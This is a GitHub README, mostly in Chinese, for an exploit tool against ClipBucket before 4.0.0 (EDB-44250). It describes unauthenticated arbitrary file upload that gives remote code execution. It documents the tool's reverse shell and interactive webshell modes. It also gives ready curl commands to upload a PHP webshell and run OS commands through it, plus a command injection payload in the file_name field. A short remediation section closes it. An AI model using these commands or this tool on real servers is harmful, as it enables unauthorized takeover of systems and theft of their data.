SpeatX/ClipBucket-EDB-44250

GitHub: SpeatX/ClipBucket-EDB-44250

Stars: 0 | Forks: 0

# ClipBucket-EDB-44250 ``` _____ __ _ __ / ___/____ ___ ____ _/ /_| |/ / \__ \/ __ \/ _ \/ __ `/ __/ / ___/ / /_/ / __/ /_/ / /_/ | /____/ .___/\___/\__,_/\__/_/|_| /_/ ClipBucket < 4.0.0 — Arbitrary File Upload RCE EDB-44250 · Unauthenticated Author: SpeatX · @speatx · OSCP Style · v1.0 ``` **EDB-44250** · 无 CVE · 无需身份验证 · 2018年3月5日披露 · 由 SEC Consult 发现 三个独立的攻击向量,均可无需身份验证即可利用。对于远程代码执行最可靠的是任意文件上传——无扩展名验证,无身份验证检查,PHP直接从上传目录执行。 **受影响版本** | 产品 | 受影响版本 | 已修复版本 | |---|---|---| | ClipBucket | < 4.0.0 (Release 4902) | 4.0.0 Release 4902+ | 已针对 ClipBucket 2.8.3 和 4.0.0(补丁前)进行测试。任何未应用 4902 补丁的安装默认均可被利用。 ## 安装说明 ``` git clone https://github.com/SpeatX/ClipBucket-EDB-44250 cd ClipBucket-EDB-44250 pip install requests ``` 需要 Python 3.8+。无其他依赖。 ## 使用方法 ``` python exploit.py -t -u [options] ``` ``` Options: -t Target URL -u HTTP Basic Auth user:password (if required) --cmd Single OS command print output and exit --revshell Trigger reverse shell to your listener --lhost Listener IP auto-detected from tun0 --lport Listener port default: 4444 --type Shell type bash · python3 · nc · mkfifo --fresh Force new upload ignore cached webshell --proxy Route through proxy http://127.0.0.1:8080 --timeout Request timeout default: 15 Modes: No flag → Interactive console (command loop via webshell) --cmd "whoami" → Single command, print output and exit --revshell → OSCP-style reverse shell, start nc first ``` **推荐工作流:** 首次运行后缓存Webshell路径。后续执行无需重新上传即可重用(通过在线探测验证)。使用 `--fresh` 强制进行新上传。 **交互式控制台命令:** ``` exploit> info Show id, hostname, cwd, uname exploit> run Execute an OS command exploit> revshell Trigger reverse shell (prompts for lhost/lport) exploit> webshell Print the active webshell URL exploit> help Show command reference exploit> exit Close the console ``` 各选项帮助:`python exploit.py -h` ## 工作原理 ### 漏洞详情 上传端点返回一个JSON对象,包含服务器分配的真实文件名和存储目录: ``` {"success":"yes","file_name":"1779640458a5d67e","extension":"php","file_directory":"CB_BEATS_UPLOAD_DIR"} ``` ### 攻击流程 ``` Attacker ClipBucket (PHP/Apache) │ │ │── POST /actions/beats_uploader.php ───>│ │ file=shell.php (PHP code) │ No auth check │ plupload=1 │ No extension filter │ name=file.php │ File saved to disk │ │ │<── {"success":"yes","file_name":"..."}─│ Server returns real filename │ │ │── GET /actions/CB_BEATS_UPLOAD_DIR/ ──>│ │ │ Apache directory listing │<── Index of /actions/CB_BEATS_... ────│ File visible in listing │ │ │── GET /.../.php?cmd=id ─────────>│ │ │ PHP executes the command │<── uid=33(www-data) ──────────────────│ RCE confirmed ``` ### 文件为何可执行 Apache无限制地提供上传目录服务。该路径已启用PHP。服务器从不验证上传内容是否确实是图像——仅检查HTTP请求是否包含预期的表单字段 (`plupload=1`, `name`)。`name` 字段中的文件名被忽略;服务器基于时间戳自行分配。 ### 使用 curl 进行手动利用 上传Webshell: ``` curl -s -u admin:password \ -F "file=@shell.php" \ -F "plupload=1" \ -F "name=shell.php" \ "http://TARGET/actions/beats_uploader.php" ``` 响应将给出真实文件名: ``` {"success":"yes","file_name":"1779640458a5d67e","extension":"php","file_directory":"CB_BEATS_UPLOAD_DIR"} ``` 浏览目录列表以找到它: ``` curl -s "http://TARGET/actions/CB_BEATS_UPLOAD_DIR/" ``` 通过它执行命令: ``` curl "http://TARGET/actions/CB_BEATS_UPLOAD_DIR/1779640458a5d67e.php?cmd=id" ``` ### 其他漏洞(同一公告) **盲操作系统命令注入** — `/api/file_uploader.php` 中的 `file_name` 参数未经净化即传递给shell调用。执行是盲目的——响应中无输出。仅适用于带外技术或反向shell。 ``` curl -F "Filedata=@any.jpg" -F "file_name=x.jpg ||" http://TARGET/api/file_uploader.php ``` **盲SQL注入** — `/actions/vote_channel.php` 中的 `channelId` 以及 `/ajax/commonAjax.php` 中的 `email`/`username` 可注入。通过 `BENCHMARK()` 实现基于时间的盲注。 ## 修复措施 ``` # Update ClipBucket to Release 4902 or later # https://github.com/arslancb/clipbucket/releases ``` 如果无法立即修补: - 阻止未经身份验证的访问 `/actions/beats_uploader.php` 和 `/actions/photo_uploader.php` - 通过 `.htaccess` 禁用上传目录中的PHP执行 (`php_flag engine off`) - 在 Apache/Nginx 配置中限制上传路径的目录列表 ## 参考资料 - [Exploit-DB EDB-44250](https://www.exploit-db.com/exploits/44250) - [SEC Consult 安全公告](https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html) - [ClipBucket 发布版本](https://github.com/arslancb/clipbucket/releases)